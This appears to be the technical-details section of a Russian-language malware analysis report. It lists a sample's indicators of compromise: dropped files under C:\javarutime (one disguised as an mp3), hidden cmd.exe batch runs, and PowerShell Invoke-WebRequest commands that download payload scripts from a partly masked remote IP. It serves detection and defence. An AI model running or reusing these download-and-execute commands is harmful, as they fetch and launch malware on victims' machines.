Техническая информация
- http://70.##.19.220:9080/xbattest/on.xbat as on.xbat
- http://70.##.19.220:9080/xbattest/bat.xbat as bat.bat
- C:\javarutime\javartxserver.exe
- C:\javarutime\saikoshi - tokyo machine & pegboard nerds & tokyo machine ravedj.mp3
- C:\javarutime\winlogon.bat
- %TEMP%\b4ae.tmp\b4ee.tmp\b53d.bat
- C:\on.xbat
- C:\bat.bat
- C:\on.xbat
- C:\bat.bat
- C:\on.xbat
- C:\bat.bat
- '70.##.19.220':9080
- http://70.##.19.220:9080/xbattest/on.xbat via 70.##.19.220
- http://70.##.19.220:9080/xbattest/bat.xbat via 70.##.19.220
- ClassName: 'EDIT' WindowName: ''
- 'C:\javarutime\javartxserver.exe' /JavaRUTime/javartxserver.exe
- '<SYSTEM32>\cmd.exe' /c "%TEMP%\B4AE.tmp\B4EE.tmp\B53D.bat C:\JavaRUTime\javartxserver.exe /JavaRUTime/javartxserver.exe"' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c "%TEMP%\B4AE.tmp\B4EE.tmp\B53D.bat C:\JavaRUTime\javartxserver.exe /JavaRUTime/javartxserver.exe"
- '<SYSTEM32>\timeout.exe' /t 3
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Invoke-WebRequest http://70.##.19.220:9080/xbattest/on.xbat -OutFile on.xbat"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Invoke-WebRequest http://70.##.19.220:9080/xbattest/bat.xbat -OutFile bat.bat"